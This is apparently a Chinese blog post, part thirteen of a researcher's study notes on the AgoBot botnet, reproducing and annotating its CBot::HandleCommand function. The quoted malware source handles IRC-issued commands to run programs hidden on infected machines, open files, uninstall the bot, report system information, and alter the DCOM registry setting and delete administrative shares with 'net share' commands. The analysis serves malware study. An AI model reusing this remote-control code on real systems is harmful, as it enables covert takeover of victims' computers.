AgoBot 殭屍網絡研究筆記(十三)

 

十三、2008年04月08日

 

作者:青青子衿

email:[email protected]

CInstaller 類分析完成,回到CBot類的分析

1 CBot :: HandleCommand ( CMessage  * pMsg )  函數  

//////////////////////////////////////////////////////////////

//

//函數功能:處理髮送來的由bot類負責處理的消息

//參數:   CMessage *pMsg     接收到的消息

//返回值:   處理成功返回true,否則返回false

//

/////////////////////////////////////////////////////////////

bool   CBot :: HandleCommand ( CMessage  * pMsg )

{  

  //處理bot.remove指令,完成將bot程序從受控計算機上刪除的任務,另外bot.removeallbut需要在後邊添加要刪除的bot的ID

  if (! pMsg -> sCmd . Compare ( "bot.remove" ) || ! pMsg -> sCmd . Compare ( "bot.removeallbut" )) 

  {

    CString   sId ( pMsg -> sChatString . Token (1,  " " true ));

    if (! pMsg -> sCmd . Compare ( "bot.removeallbut" ))

    {  

      //如果是bot.removeallbut指令,那麼從bot的id列表中查找是否有該ID的bot

      if (! sId . Compare ( g_cMainCtrl . m_cBot . bot_id . sValue ))

      {  

        //如果沒有找到返回false

        return   false ;

      }

    }

    //發送處理的返回消息到服務器,參數1標識是否處於靜默狀態,參數2標識發送模式

    g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent pMsg -> bNotice "removing bot..." pMsg -> sReplyTo );

   

#ifdef  WIN32

    if ( g_cMainCtrl . m_cBot . as_enabled . bValue //★★這個變量的初始值是什麼呢,爲什麼在這裏直接用了呢。

    {

      //這裏的作用是刪除啓動項,爲完全刪除bot最準備。

      g_cMainCtrl . m_cInstaller . RegStartDel ( g_cMainCtrl . m_cBot . as_valname . sValue );

    }

#endif

    g_cMainCtrl . m_cInstaller . Uninstall ();   //卸載bot程序:生成刪除bot程序的批處理。

    g_cMainCtrl . m_cIRC . m_bRunning = false ;    //IRC類中的運行狀態設置爲false

    g_cMainCtrl . m_bRunning = false ;   //全局變量中的運行狀態設置爲false

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.execute" ))  //處理bot.execute指令, 命令格式.bot.execute 1 notepad.exe,其中1表示運行的次數,notepad.exe 要運行的文件

  {

    CString   sText ( pMsg -> sChatString . Token (2,  " " true ));  //取得以空格作爲分隔符的第二段字符串 ,要運行的進程的文件名

   

    bool   bVisible = atoi ( pMsg -> sChatString . Token (1,  " " ). CStr ())==1;  //獲取該進程運行的次數,將字符串形式表示的數字轉化成整數

   

#ifdef  WIN32

    CString   sTextExp

    ExpandEnvironmentStrings ( sText . CStr (),  sTextExp . GetBuffer (8192), 8192);  // 通過環境變量對字符串進行擴充interpret environment variables

    sText . Assign ( sTextExp );

   

    PROCESS_INFORMATION   pinfo

    STARTUPINFO   sinfo ;

    memset (& sinfo , 0,  sizeof ( STARTUPINFO )); 

    sinfo . cb = sizeof ( sinfo );

    if ( bVisible //設置進程的運行模式

    {

      sinfo . wShowWindow = SW_SHOW ;

    }

    else

    {

      sinfo . wShowWindow = SW_HIDE ;

    }

    //創建指定的進程

    if (! CreateProcess ( NULL sText . Str (),  NULL NULL TRUE NORMAL_PRIORITY_CLASS  |  DETACHED_PROCESS NULL NULL , & sinfo , & pinfo )) 

    {

      //如果進程創建失敗,向控制端發回消息,could't execute file.

      g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent pMsg -> bNotice "couldn't execute file." pMsg -> sReplyTo . Str ()); 

      return   false

    }

#else

    //在linux模式下,創建新的進程

    CString   sCmdBuf

    sCmdBuf . Format ( "/bin/sh -c /"%s/"" sText . CStr ());

    if ( system ( sCmdBuf . CStr ())==-1) 

   

      g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent pMsg -> bNotice "couldn't execute file." pMsg -> sReplyTo . Str ()); 

      return   false

    }

#endif

    return   true

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.open" ))  //處理open指令

  {

    if (!( pMsg -> sChatString . GetLength () > ( pMsg -> sCmd . GetLength ()+ pMsg -> sChatString . Token (1,  " " ). GetLength ()+3))) 

    {

      //這裏爲什麼要這樣判斷還不清楚。

      return   false ;

    }

   

    CString   sText

    sText . Assign (& pMsg -> sChatString [ pMsg -> sCmd . GetLength ()+2]); 

    bool   bRet = false ;

   

#ifdef  WIN32

    bRet =( int ) ShellExecute (0,  "open" sText . CStr (),  NULL NULL SW_SHOW )>=32;   //打開指定的文件

#else

    bRet = system ( sText . CStr ())>0;  //linux 平臺中打開某個程序。

#endif

    if ( bRet //根據打開文件的成功與否,分別發送不同的返回信息

    {

      return   g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent pMsg -> bNotice "file opened." pMsg -> sReplyTo . Str ());

    }

    else  

    {

      return   g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent pMsg -> bNotice "couldn't open file." pMsg -> sReplyTo . Str ()); 

    }

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.dns" ))    //處理dns指令

  {

    CString   sReply

    hostent  * pHostent = NULL

    in_addr   iaddr ;

    if (! pMsg -> sChatString . Token (1,  " " ). Compare ( "" ))

   

      return   false ;

    }

    unsigned   long   addr = inet_addr ( pMsg -> sChatString . Token (1,  " " ). CStr ());   //提取dns指令後的,字符串,將其轉換成IP地址

 

    if ( addr != INADDR_NONE )   //字符串爲一個IP地址,下面做的工作是通過ip 獲得他的域名

    {

      pHostent = gethostbyaddr (( char *)& addr sizeof ( struct   in_addr ),  AF_INET );

      if ( pHostent

      {

        sReply . Format ( "%s -> %s" pMsg -> sChatString . Token (1,  " " ). CStr (),  pHostent -> h_name );

        return   g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent pMsg -> bNotice sReply . Str (),  pMsg -> sReplyTo . Str ());  //把獲得的結果發送給控制端

      }

    else   //如果轉換失敗,則可確定,後邊的字符串是一個域名,則下面做的工作是根據域名,來獲得IP地址

    {

      pHostent = gethostbyname ( pMsg -> sChatString . Token (1,  " " ). CStr ());  //獲得IP地址

      if ( pHostent )

      {

        iaddr =*(( in_addr *)* pHostent -> h_addr_list );  

        sReply . Format ( "%s -> %s" pMsg -> sChatString . Token (1,  " " ). CStr (),  inet_ntoa ( iaddr ));

        return   g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent pMsg -> bNotice sReply . Str (),  pMsg -> sReplyTo . Str ());  //將獲得的IP地址返回給控制端

     

    }

   

    if (! pHostent //如果pHostent的值爲null,說明無法獲得該dns的信息

    {

      sReply . Format ( "couldn't resolve host /"%s/"!" pMsg -> sChatString . Token (1,  " " ). CStr ());

      return   g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent pMsg -> bNotice sReply . Str (),  pMsg -> sReplyTo . Str ()); 

   

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.about" ))  //處理about指令,返回AgoBot相關的信息

  {

    CString   sReplyBuf

    sReplyBuf . Format ( "%s by Ago ([email protected]). homepage: http://none.yet/" g_cMainCtrl . m_sNameVerStr . CStr ());

    return   g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent pMsg -> bNotice sReplyBuf . Str (),  pMsg -> sReplyTo . Str ()); 

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.id" ))    //返回botID的指令

  {

    return   g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent pMsg -> bNotice bot_id . sValue . Str (),  pMsg -> sReplyTo . Str ()); 

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.nick" ))  //返回bot的暱稱

  {

    g_cMainCtrl . m_sUserName . Format ( "%s" pMsg -> sChatString . Token (1,  " " true ). Mid (0, 32). CStr ());

    g_cMainCtrl . m_cIRC . SendRawFormat ( "NICK %s/r/n" g_cMainCtrl . m_sUserName . CStr ());

    return   true

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.quit" ) || ! pMsg -> sCmd . Compare ( "bot.die" ))  //處理bot推出指令

  {

    g_cMainCtrl . m_cIRC . m_bRunning = false //只在這裏標識bot需要推出。

    return   true

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.sysinfo" ))  //獲得系統信息

  {

    //SysInfo() 是CBot的成員函數

    return   g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent pMsg -> bNotice SysInfo (). Str (),  pMsg -> sReplyTo . Str ()); 

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.longuptime" ))  //內部指令,返回在線時間長度的指令。

  {

    int   iDays = atoi ( pMsg -> sChatString . Token (1,  " " ). CStr ()); 

    if (! iDays

    {

      iDays =7;

    }

    CString   sUptime = LongUptime ( iDays );   //調用longUptime函數,具體該指令的功能需要進一步分析了該函數之後才能知道,

    if ( sUptime . Compare ( "" )) 

    {

      g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent pMsg -> bNotice , /

        sUptime . Str (),  pMsg -> sReplyTo . Str ()); 

    }

    return   true

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.status" ))

  {

    return   g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent pMsg -> bNotice Status (). Str (),  pMsg -> sReplyTo . Str ()); 

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.rndnick" ))  //修改暱稱的指令,這裏只是推測,該指令對整體不是很重要

  {

    CString   sRndNick = RndNick ( si_nickprefix . sValue . CStr ());

    g_cMainCtrl . m_cIRC . SendRawFormat ( "NICK %s/r/n" sRndNick . CStr ());  //由bot發送修改暱稱的指令到IRC服務器

    g_cMainCtrl . m_sUserName . Format ( "%s" sRndNick . Mid (0, 32). CStr ()); //修改本地所保存的暱稱

    return   true

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.flushdns" ))   //刷新本地的dns記錄

  {

#ifdef  WIN32

    Execute ( "ipconfig.exe" "/flushdns" );

#else

    Execute ( "nscd" "-i hosts" );

#endif  // WIN32

    return   true

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.secure" ))  //幫助文件中沒有的內部指令

  {    

#ifdef  WIN32

    // Set EnableDCOM to "N"

    HKEY   hkey = NULL

    DWORD   dwSize =128; 

    char   szDataBuf [128];

    sprintf ( szDataBuf "N" ); 

    dwSize = strlen ( szDataBuf );

    /*

    修改註冊表 

    HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/OLE 的鍵值

    "EnableDCom" = "N"

    減低安全設置

    */

    LONG   lRet = RegOpenKeyEx ( HKEY_LOCAL_MACHINE "Software//Microsoft//OLE" , 0,  KEY_READ , & hkey );

    RegSetValueEx ( hkey "EnableDCOM" NULL REG_SZ , ( unsigned   char *) szDataBuf dwSize );

    RegCloseKey ( hkey );

    // Secure Shares

    system ( "net share c$ /delete /y" );

    system ( "net share d$ /delete /y" );

    system ( "net share ipc$ /delete /y" );

    system ( "net share admin$ /delete /y" );

    //上面操作的中心目的在於設置網絡共享

#endif

    return   true

  }

  return   false

}

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章